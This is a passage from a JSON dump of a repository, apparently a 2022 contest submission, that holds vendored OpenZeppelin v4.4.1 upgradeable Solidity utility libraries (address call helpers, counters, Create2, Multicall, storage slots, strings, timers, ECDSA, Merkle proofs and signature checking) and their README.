v3.3._\n     */\n    function functionStaticCall(\n        address target,\n        bytes memory data,\n        string memory errorMessage\n    ) internal view returns (bytes memory) {\n        require(isContract(target), \"Address: static call to non-contract\");\n\n        (bool success, bytes memory returndata) = target.staticcall(data);\n        return verifyCallResult(success, returndata, errorMessage);\n    }\n\n    /**\n     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n     * revert reason using the provided one.\n     *\n     * _Available since v4.3._\n     */\n    function verifyCallResult(\n        bool success,\n        bytes memory returndata,\n        string memory errorMessage\n    ) internal pure returns (bytes memory) {\n        if (success) {\n            return returndata;\n        } else {\n            // Look for revert reason and bubble it up if present\n            if (returndata.length > 0) {\n                // The easiest way to bubble the revert reason is using memory via assembly\n\n                assembly {\n                    let returndata_size := mload(returndata)\n                    revert(add(32, returndata), returndata_size)\n                }\n            } else {\n                revert(errorMessage);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/ArraysUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Arrays.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./math/MathUpgradeable.sol\";\n\n/**\n * @dev Collection of functions related to array types.\n */\nlibrary ArraysUpgradeable {\n    /**\n     * @dev Searches a sorted `array` and returns the first index that contains\n     * a value greater or equal to `element`. If no such index exists (i.e. all\n     * values in the array are strictly less than `element`), the array length is\n     * returned. Time complexity O(log n).\n     *\n     * `array` is expected to be sorted in ascending order, and to contain no\n     * repeated elements.\n     */\n    function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {\n        if (array.length == 0) {\n            return 0;\n        }\n\n        uint256 low = 0;\n        uint256 high = array.length;\n\n        while (low < high) {\n            uint256 mid = MathUpgradeable.average(low, high);\n\n            // Note that mid will always be strictly less than high (i.e. it will be a valid array index)\n            // because Math.average rounds down (it does integer division with truncation).\n            if (array[mid] > element) {\n                high = mid;\n            } else {\n                low = mid + 1;\n            }\n        }\n\n        // At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.\n        if (low > 0 && array[low - 1] == element) {\n            return low - 1;\n        } else {\n            return low;\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/ContextUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract ContextUpgradeable is Initializable {\n    function __Context_init() internal onlyInitializing {\n        __Context_init_unchained();\n    }\n\n    function __Context_init_unchained() internal onlyInitializing {\n    }\n    function _msgSender() internal view virtual returns (address) {\n        return msg.sender;\n    }\n\n    function _msgData() internal view virtual returns (bytes calldata) {\n        return msg.data;\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/CountersUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title Counters\n * @author Matt Condon (@shrugs)\n * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number\n * of elements in a mapping, issuing ERC721 ids, or counting request ids.\n *\n * Include with `using Counters for Counters.Counter;`\n */\nlibrary CountersUpgradeable {\n    struct Counter {\n        // This variable should never be directly accessed by users of the library: interactions must be restricted to\n        // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add\n        // this feature: see https://github.com/ethereum/solidity/issues/4637\n        uint256 _value; // default: 0\n    }\n\n    function current(Counter storage counter) internal view returns (uint256) {\n        return counter._value;\n    }\n\n    function increment(Counter storage counter) internal {\n        unchecked {\n            counter._value += 1;\n        }\n    }\n\n    function decrement(Counter storage counter) internal {\n        uint256 value = counter._value;\n        require(value > 0, \"Counter: decrement overflow\");\n        unchecked {\n            counter._value = value - 1;\n        }\n    }\n\n    function reset(Counter storage counter) internal {\n        counter._value = 0;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/Create2Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Create2.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Helper to make usage of the `CREATE2` EVM opcode easier and safer.\n * `CREATE2` can be used to compute in advance the address where a smart\n * contract will be deployed, which allows for interesting new mechanisms known\n * as 'counterfactual interactions'.\n *\n * See the https://eips.ethereum.org/EIPS/eip-1014#motivation[EIP] for more\n * information.\n */\nlibrary Create2Upgradeable {\n    /**\n     * @dev Deploys a contract using `CREATE2`. The address where the contract\n     * will be deployed can be known in advance via {computeAddress}.\n     *\n     * The bytecode for a contract can be obtained from Solidity with\n     * `type(contractName).creationCode`.\n     *\n     * Requirements:\n     *\n     * - `bytecode` must not be empty.\n     * - `salt` must have not been used for `bytecode` already.\n     * - the factory must have a balance of at least `amount`.\n     * - if `amount` is non-zero, `bytecode` must have a `payable` constructor.\n     */\n    function deploy(\n        uint256 amount,\n        bytes32 salt,\n        bytes memory bytecode\n    ) internal returns (address) {\n        address addr;\n        require(address(this).balance >= amount, \"Create2: insufficient balance\");\n        require(bytecode.length != 0, \"Create2: bytecode length is zero\");\n        assembly {\n            addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt)\n        }\n        require(addr != address(0), \"Create2: Failed on deploy\");\n        return addr;\n    }\n\n    /**\n     * @dev Returns the address where a contract will be stored if deployed via {deploy}. Any change in the\n     * `bytecodeHash` or `salt` will result in a new destination address.\n     */\n    function computeAddress(bytes32 salt, bytes32 bytecodeHash) internal view returns (address) {\n        return computeAddress(salt, bytecodeHash, address(this));\n    }\n\n    /**\n     * @dev Returns the address where a contract will be stored if deployed via {deploy} from a contract located at\n     * `deployer`. If `deployer` is this contract's address, returns the same value as {computeAddress}.\n     */\n    function computeAddress(\n        bytes32 salt,\n        bytes32 bytecodeHash,\n        address deployer\n    ) internal pure returns (address) {\n        bytes32 _data = keccak256(abi.encodePacked(bytes1(0xff), deployer, salt, bytecodeHash));\n        return address(uint160(uint256(_data)));\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/MulticallUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Multicall.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./AddressUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Provides a function to batch together multiple calls in a single external call.\n *\n * _Available since v4.1._\n */\nabstract contract MulticallUpgradeable is Initializable {\n    function __Multicall_init() internal onlyInitializing {\n        __Multicall_init_unchained();\n    }\n\n    function __Multicall_init_unchained() internal onlyInitializing {\n    }\n    /**\n     * @dev Receives and executes a batch of function calls on this contract.\n     */\n    function multicall(bytes[] calldata data) external returns (bytes[] memory results) {\n        results = new bytes[](data.length);\n        for (uint256 i = 0; i < data.length; i++) {\n            results[i] = _functionDelegateCall(address(this), data[i]);\n        }\n        return results;\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n     * but performing a delegate call.\n     *\n     * _Available since v3.4._\n     */\n    function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {\n        require(AddressUpgradeable.isContract(target), \"Address: delegate call to non-contract\");\n\n        // solhint-disable-next-line avoid-low-level-calls\n        (bool success, bytes memory returndata) = target.delegatecall(data);\n        return AddressUpgradeable.verifyCallResult(success, returndata, \"Address: low-level delegate call failed\");\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/README.adoc",
    "content": "= Utilities\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/utils\n\nMiscellaneous contracts and libraries containing utility functions you can use to improve security, work with new data types, or safely use low-level primitives.\n\nThe {Address}, {Arrays} and {Strings} libraries provide more operations related to these native data types, while {SafeCast} adds ways to safely convert between the different signed and unsigned numeric types.\n{Multicall} provides a function to batch together multiple calls in a single external call.\n\nFor new data types:\n\n * {Counters}: a simple way to get a counter that can only be incremented, decremented or reset. Very useful for ID generation, counting contract activity, among others.\n * {EnumerableMap}: like Solidity's https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] type, but with key-value _enumeration_: this will let you know how many entries a mapping has, and iterate over them (which is not possible with `mapping`).\n * {EnumerableSet}: like {EnumerableMap}, but for https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets]. Can be used to store privileged accounts, issued IDs, etc.\n\n[NOTE]\n====\nBecause Solidity does not support generic types, {EnumerableMap} and {EnumerableSet} are specialized to a limited number of key-value types.\n\nAs of v3.0, {EnumerableMap} supports `uint256 -> address` (`UintToAddressMap`), and {EnumerableSet} supports `address` and `uint256` (`AddressSet` and `UintSet`).\n====\n\nFinally, {Create2} contains all necessary utilities to safely use the https://blog.openzeppelin.com/getting-the-most-out-of-create2/[`CREATE2` EVM opcode], without having to deal with low-level assembly.\n\n== Math\n\n{{Math}}\n\n{{SafeCast}}\n\n{{SafeMath}}\n\n{{SignedSafeMath}}\n\n== Cryptography\n\n{{ECDSA}}\n\n{{SignatureChecker}}\n\n{{MerkleProof}}\n\n{{EIP712}}\n\n== Escrow\n\n{{ConditionalEscrow}}\n\n{{Escrow}}\n\n{{RefundEscrow}}\n\n== Introspection\n\nThis set of interfaces and contracts deal with https://en.wikipedia.org/wiki/Type_introspection[type introspection] of contracts, that is, examining which functions can be called on them. This is usually referred to as a contract's _interface_.\n\nEthereum contracts have no native concept of an interface, so applications must usually simply trust they are not making an incorrect call. For trusted setups this is a non-issue, but often unknown and untrusted third-party addresses need to be interacted with. There may even not be any direct calls to them! (e.g. `ERC20` tokens may be sent to a contract that lacks a way to transfer them out of it, locking them forever). In these cases, a contract _declaring_ its interface can be very helpful in preventing errors.\n\nThere are two main ways to approach this.\n\n* Locally, where a contract implements `IERC165` and declares an interface, and a second one queries it directly via `ERC165Checker`.\n* Globally, where a global and unique registry (`IERC1820Registry`) is used to register implementers of a certain interface (`IERC1820Implementer`). It is then the registry that is queried, which allows for more complex setups, like contracts implementing interfaces for externally-owned accounts.\n\nNote that, in all cases, accounts simply _declare_ their interfaces, but they are not required to actually implement them. This mechanism can therefore be used to both prevent errors and allow for complex interactions (see `ERC777`), but it must not be relied on for security.\n\n{{IERC165}}\n\n{{ERC165}}\n\n{{ERC165Storage}}\n\n{{ERC165Checker}}\n\n{{IERC1820Registry}}\n\n{{IERC1820Implementer}}\n\n{{ERC1820Implementer}}\n\n== Data Structures\n\n{{BitMaps}}\n\n{{EnumerableMap}}\n\n{{EnumerableSet}}\n\n== Libraries\n\n{{Create2}}\n\n{{Address}}\n\n{{Arrays}}\n\n{{Counters}}\n\n{{Strings}}\n\n{{StorageSlot}}\n\n{{Multicall}}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for reading and writing primitive types to specific storage slots.\n *\n * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.\n * This library helps with reading and writing to such slots without the need for inline assembly.\n *\n * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.\n *\n * Example usage to set ERC1967 implementation slot:\n * ```\n * contract ERC1967 {\n *     bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n *\n *     function _getImplementation() internal view returns (address) {\n *         return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n *     }\n *\n *     function _setImplementation(address newImplementation) internal {\n *         require(Address.isContract(newImplementation), \"ERC1967: new implementation is not a contract\");\n *         StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n *     }\n * }\n * ```\n *\n * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._\n */\nlibrary StorageSlotUpgradeable {\n    struct AddressSlot {\n        address value;\n    }\n\n    struct BooleanSlot {\n        bool value;\n    }\n\n    struct Bytes32Slot {\n        bytes32 value;\n    }\n\n    struct Uint256Slot {\n        uint256 value;\n    }\n\n    /**\n     * @dev Returns an `AddressSlot` with member `value` located at `slot`.\n     */\n    function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {\n        assembly {\n            r.slot := slot\n        }\n    }\n\n    /**\n     * @dev Returns an `BooleanSlot` with member `value` located at `slot`.\n     */\n    function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {\n        assembly {\n            r.slot := slot\n        }\n    }\n\n    /**\n     * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.\n     */\n    function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {\n        assembly {\n            r.slot := slot\n        }\n    }\n\n    /**\n     * @dev Returns an `Uint256Slot` with member `value` located at `slot`.\n     */\n    function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {\n        assembly {\n            r.slot := slot\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/StringsUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary StringsUpgradeable {\n    bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n\n    /**\n     * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n     */\n    function toString(uint256 value) internal pure returns (string memory) {\n        // Inspired by OraclizeAPI's implementation - MIT licence\n        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n        if (value == 0) {\n            return \"0\";\n        }\n        uint256 temp = value;\n        uint256 digits;\n        while (temp != 0) {\n            digits++;\n            temp /= 10;\n        }\n        bytes memory buffer = new bytes(digits);\n        while (value != 0) {\n            digits -= 1;\n            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n            value /= 10;\n        }\n        return string(buffer);\n    }\n\n    /**\n     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n     */\n    function toHexString(uint256 value) internal pure returns (string memory) {\n        if (value == 0) {\n            return \"0x00\";\n        }\n        uint256 temp = value;\n        uint256 length = 0;\n        while (temp != 0) {\n            length++;\n            temp >>= 8;\n        }\n        return toHexString(value, length);\n    }\n\n    /**\n     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n     */\n    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n        bytes memory buffer = new bytes(2 * length + 2);\n        buffer[0] = \"0\";\n        buffer[1] = \"x\";\n        for (uint256 i = 2 * length + 1; i > 1; --i) {\n            buffer[i] = _HEX_SYMBOLS[value & 0xf];\n            value >>= 4;\n        }\n        require(value == 0, \"Strings: hex length insufficient\");\n        return string(buffer);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/TimersUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Timers.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Tooling for timepoints, timers and delays\n */\nlibrary TimersUpgradeable {\n    struct Timestamp {\n        uint64 _deadline;\n    }\n\n    function getDeadline(Timestamp memory timer) internal pure returns (uint64) {\n        return timer._deadline;\n    }\n\n    function setDeadline(Timestamp storage timer, uint64 timestamp) internal {\n        timer._deadline = timestamp;\n    }\n\n    function reset(Timestamp storage timer) internal {\n        timer._deadline = 0;\n    }\n\n    function isUnset(Timestamp memory timer) internal pure returns (bool) {\n        return timer._deadline == 0;\n    }\n\n    function isStarted(Timestamp memory timer) internal pure returns (bool) {\n        return timer._deadline > 0;\n    }\n\n    function isPending(Timestamp memory timer) internal view returns (bool) {\n        return timer._deadline > block.timestamp;\n    }\n\n    function isExpired(Timestamp memory timer) internal view returns (bool) {\n        return isStarted(timer) && timer._deadline <= block.timestamp;\n    }\n\n    struct BlockNumber {\n        uint64 _deadline;\n    }\n\n    function getDeadline(BlockNumber memory timer) internal pure returns (uint64) {\n        return timer._deadline;\n    }\n\n    function setDeadline(BlockNumber storage timer, uint64 timestamp) internal {\n        timer._deadline = timestamp;\n    }\n\n    function reset(BlockNumber storage timer) internal {\n        timer._deadline = 0;\n    }\n\n    function isUnset(BlockNumber memory timer) internal pure returns (bool) {\n        return timer._deadline == 0;\n    }\n\n    function isStarted(BlockNumber memory timer) internal pure returns (bool) {\n        return timer._deadline > 0;\n    }\n\n    function isPending(BlockNumber memory timer) internal view returns (bool) {\n        return timer._deadline > block.number;\n    }\n\n    function isExpired(BlockNumber memory timer) internal view returns (bool) {\n        return isStarted(timer) && timer._deadline <= block.number;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/cryptography/ECDSAUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../StringsUpgradeable.sol\";\n\n/**\n * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.\n *\n * These functions can be used to verify that a message was signed by the holder\n * of the private keys of a given address.\n */\nlibrary ECDSAUpgradeable {\n    enum RecoverError {\n        NoError,\n        InvalidSignature,\n        InvalidSignatureLength,\n        InvalidSignatureS,\n        InvalidSignatureV\n    }\n\n    function _throwError(RecoverError error) private pure {\n        if (error == RecoverError.NoError) {\n            return; // no error: do nothing\n        } else if (error == RecoverError.InvalidSignature) {\n            revert(\"ECDSA: invalid signature\");\n        } else if (error == RecoverError.InvalidSignatureLength) {\n            revert(\"ECDSA: invalid signature length\");\n        } else if (error == RecoverError.InvalidSignatureS) {\n            revert(\"ECDSA: invalid signature 's' value\");\n        } else if (error == RecoverError.InvalidSignatureV) {\n            revert(\"ECDSA: invalid signature 'v' value\");\n        }\n    }\n\n    /**\n     * @dev Returns the address that signed a hashed message (`hash`) with\n     * `signature` or error string. This address can then be used for verification purposes.\n     *\n     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:\n     * this function rejects them by requiring the `s` value to be in the lower\n     * half order, and the `v` value to be either 27 or 28.\n     *\n     * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n     * verification to be secure: it is possible to craft signatures that\n     * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n     * this is by receiving a hash of the original message (which may otherwise\n     * be too long), and then calling {toEthSignedMessageHash} on it.\n     *\n     * Documentation for signature generation:\n     * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]\n     * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]\n     *\n     * _Available since v4.3._\n     */\n    function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {\n        // Check the signature length\n        // - case 65: r,s,v signature (standard)\n        // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._\n        if (signature.length == 65) {\n            bytes32 r;\n            bytes32 s;\n            uint8 v;\n            // ecrecover takes the signature parameters, and the only way to get them\n            // currently is to use assembly.\n            assembly {\n                r := mload(add(signature, 0x20))\n                s := mload(add(signature, 0x40))\n                v := byte(0, mload(add(signature, 0x60)))\n            }\n            return tryRecover(hash, v, r, s);\n        } else if (signature.length == 64) {\n            bytes32 r;\n            bytes32 vs;\n            // ecrecover takes the signature parameters, and the only way to get them\n            // currently is to use assembly.\n            assembly {\n                r := mload(add(signature, 0x20))\n                vs := mload(add(signature, 0x40))\n            }\n            return tryRecover(hash, r, vs);\n        } else {\n            return (address(0), RecoverError.InvalidSignatureLength);\n        }\n    }\n\n    /**\n     * @dev Returns the address that signed a hashed message (`hash`) with\n     * `signature`. This address can then be used for verification purposes.\n     *\n     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:\n     * this function rejects them by requiring the `s` value to be in the lower\n     * half order, and the `v` value to be either 27 or 28.\n     *\n     * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n     * verification to be secure: it is possible to craft signatures that\n     * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n     * this is by receiving a hash of the original message (which may otherwise\n     * be too long), and then calling {toEthSignedMessageHash} on it.\n     */\n    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {\n        (address recovered, RecoverError error) = tryRecover(hash, signature);\n        _throwError(error);\n        return recovered;\n    }\n\n    /**\n     * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.\n     *\n     * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]\n     *\n     * _Available since v4.3._\n     */\n    function tryRecover(\n        bytes32 hash,\n        bytes32 r,\n        bytes32 vs\n    ) internal pure returns (address, RecoverError) {\n        bytes32 s;\n        uint8 v;\n        assembly {\n            s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)\n            v := add(shr(255, vs), 27)\n        }\n        return tryRecover(hash, v, r, s);\n    }\n\n    /**\n     * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.\n     *\n     * _Available since v4.2._\n     */\n    function recover(\n        bytes32 hash,\n        bytes32 r,\n        bytes32 vs\n    ) internal pure returns (address) {\n        (address recovered, RecoverError error) = tryRecover(hash, r, vs);\n        _throwError(error);\n        return recovered;\n    }\n\n    /**\n     * @dev Overload of {ECDSA-tryRecover} that receives the `v`,\n     * `r` and `s` signature fields separately.\n     *\n     * _Available since v4.3._\n     */\n    function tryRecover(\n        bytes32 hash,\n        uint8 v,\n        bytes32 r,\n        bytes32 s\n    ) internal pure returns (address, RecoverError) {\n        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature\n        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines\n        // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most\n        // signatures from current libraries generate a unique signature with an s-value in the lower half order.\n        //\n        // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value\n        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or\n        // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept\n        // these malleable signatures as well.\n        if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {\n            return (address(0), RecoverError.InvalidSignatureS);\n        }\n        if (v != 27 && v != 28) {\n            return (address(0), RecoverError.InvalidSignatureV);\n        }\n\n        // If the signature is valid (and not malleable), return the signer address\n        address signer = ecrecover(hash, v, r, s);\n        if (signer == address(0)) {\n            return (address(0), RecoverError.InvalidSignature);\n        }\n\n        return (signer, RecoverError.NoError);\n    }\n\n    /**\n     * @dev Overload of {ECDSA-recover} that receives the `v`,\n     * `r` and `s` signature fields separately.\n     */\n    function recover(\n        bytes32 hash,\n        uint8 v,\n        bytes32 r,\n        bytes32 s\n    ) internal pure returns (address) {\n        (address recovered, RecoverError error) = tryRecover(hash, v, r, s);\n        _throwError(error);\n        return recovered;\n    }\n\n    /**\n     * @dev Returns an Ethereum Signed Message, created from a `hash`. This\n     * produces hash corresponding to the one signed with the\n     * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]\n     * JSON-RPC method as part of EIP-191.\n     *\n     * See {recover}.\n     */\n    function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {\n        // 32 is the length in bytes of hash,\n        // enforced by the type signature above\n        return keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", hash));\n    }\n\n    /**\n     * @dev Returns an Ethereum Signed Message, created from `s`. This\n     * produces hash corresponding to the one signed with the\n     * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]\n     * JSON-RPC method as part of EIP-191.\n     *\n     * See {recover}.\n     */\n    function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {\n        return keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n\", StringsUpgradeable.toString(s.length), s));\n    }\n\n    /**\n     * @dev Returns an Ethereum Signed Typed Data, created from a\n     * `domainSeparator` and a `structHash`. This produces hash corresponding\n     * to the one signed with the\n     * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]\n     * JSON-RPC method as part of EIP-712.\n     *\n     * See {recover}.\n     */\n    function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {\n        return keccak256(abi.encodePacked(\"\\x19\\x01\", domainSeparator, structHash));\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/cryptography/MerkleProofUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev These functions deal with verification of Merkle Trees proofs.\n *\n * The proofs can be generated using the JavaScript library\n * https://github.com/miguelmota/merkletreejs[merkletreejs].\n * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.\n *\n * See `test/utils/cryptography/MerkleProof.test.js` for some examples.\n */\nlibrary MerkleProofUpgradeable {\n    /**\n     * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree\n     * defined by `root`. For this, a `proof` must be provided, containing\n     * sibling hashes on the branch from the leaf to the root of the tree. Each\n     * pair of leaves and each pair of pre-images are assumed to be sorted.\n     */\n    function verify(\n        bytes32[] memory proof,\n        bytes32 root,\n        bytes32 leaf\n    ) internal pure returns (bool) {\n        return processProof(proof, leaf) == root;\n    }\n\n    /**\n     * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up\n     * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt\n     * hash matches the root of the tree. When processing the proof, the pairs\n     * of leafs & pre-images are assumed to be sorted.\n     *\n     * _Available since v4.4._\n     */\n    function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {\n        bytes32 computedHash = leaf;\n        for (uint256 i = 0; i < proof.length; i++) {\n            bytes32 proofElement = proof[i];\n            if (computedHash <= proofElement) {\n                // Hash(current computed hash + current element of the proof)\n                computedHash = keccak256(abi.encodePacked(computedHash, proofElement));\n            } else {\n                // Hash(current element of the proof + current computed hash)\n                computedHash = keccak256(abi.encodePacked(proofElement, computedHash));\n            }\n        }\n        return computedHash;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/cryptography/SignatureCheckerUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/cryptography/SignatureChecker.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./ECDSAUpgradeable.sol\";\nimport \"../AddressUpgradeable.sol\";\nimport \"../../interfaces/IERC1271Upgradeable.sol\";\n\n/**\n * @dev Signature verification helper: Provide a single mechanism to verify both private-key (EOA) ECDSA signature and\n * ERC1271 contract signatures. Using this instead of ECDSA.recover in your contract will make them compatible with\n * smart contract wallets such as Argent and Gnosis.\n *\n * Note: unlike ECDSA signatures, contract signature's are revocable, and the outcome of this function can thus change\n * through time. It could return true at block N and false at block N+1 (or the opposite).\n *\n * _Available since v4.1._\n */\nlibrary SignatureCheckerUpgradeable {\n    function isValidSignatureNow(\n        address signer,\n        bytes32 hash,\n        bytes memory signature\n    ) internal view returns (bool) {\n        (address recovered, ECDSAUpgradeable.RecoverError error) = ECDSAUpgradeable.tryRecover(hash, signature);\n        if (error == ECDSAUpgradeable.RecoverError.NoError && recovered == signer) {\n            return true;\n        }\n\n        (bool success, bytes memory result) = signer.staticcall(\n            abi.encodeWithSelector(IERC1271Upgradeable.isValidSignature.selector, hash, signature)\n        );\n        return (success && result.length == 32 && abi.decode(result, (bytes4)) == IERC1271Upgradeable.isValidSignature.selector);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/cryptography/draft-EIP712Upgradeable.sol",
